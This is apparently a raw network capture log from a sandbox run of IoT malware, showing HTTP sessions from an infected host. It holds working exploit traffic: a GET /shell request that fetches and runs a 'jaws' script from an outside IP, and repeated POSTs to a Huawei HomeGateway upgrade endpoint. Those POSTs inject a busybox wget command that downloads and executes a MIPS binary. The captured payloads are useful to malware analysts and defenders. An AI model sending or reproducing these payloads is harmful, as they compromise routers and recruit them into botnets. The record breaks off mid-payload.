Jan 2, 2024 06:24:01.623958111 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:24:01 GMT Server: Apache Vary: accept-language Accept-Ranges: bytes X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Expires: Tue, 02 Jan 2024 05:24:01 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 2a 20 7b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 0a 20 20 20 20 7d 0a 20 20 20 20 62 6f 64 79 20 7b 20 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 64 66 64 66 64 66 3b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 38 30 76 68 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 4f 78 79 67 65 6e 2c 20 55 62 75 6e 74 75 2c 20 22 46 69 72 61 20 53 61 6e 73 22 2c 20 22 44 72 6f 69 64 20 53 61 6e 73 22 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 0a 20 20 20 20 7d 0a 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 30 70 78 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 7d 0a 20 20 20 20 68 32 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 70 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 36 30 76 68 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Bad request!</title><style type="text/css">.../--><![CDATA[/>.../ { padding:0; margin:0; vertical-align:baseline; list-style:none; border:0 } body { color: #000000; background-color: #dfdfdf; display: flex; flex-direction: column; align-items: center; justify-content: center; height: 80vh; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif; text-align: center; } h1 { font-size: 150px; font-family: sans-serif; } h2{ font-size: 50px; } p { margin-top: 25px; width: 60vh; font-siz
Jan 2, 2024 06:24:01.623970032 CET	251	IN	Data Raw: 65 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e Data Ascii: e: 20px; text-align: center; }/.../--></style></head><body> <h1>400</h1> <h2>Bad request!</h2><p> Your browser (or proxy) sent a request that this server could not understand.</p><p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	58726	8.217.69.180	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:01.420268059 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:01.721061945 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:24:01 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	52316	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:02.098743916 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:01Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	38108	156.235.102.171	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:02.515189886 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:06.543833971 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:12.686981916 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:24.717281103 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:48.777868986 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:37.922952890 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 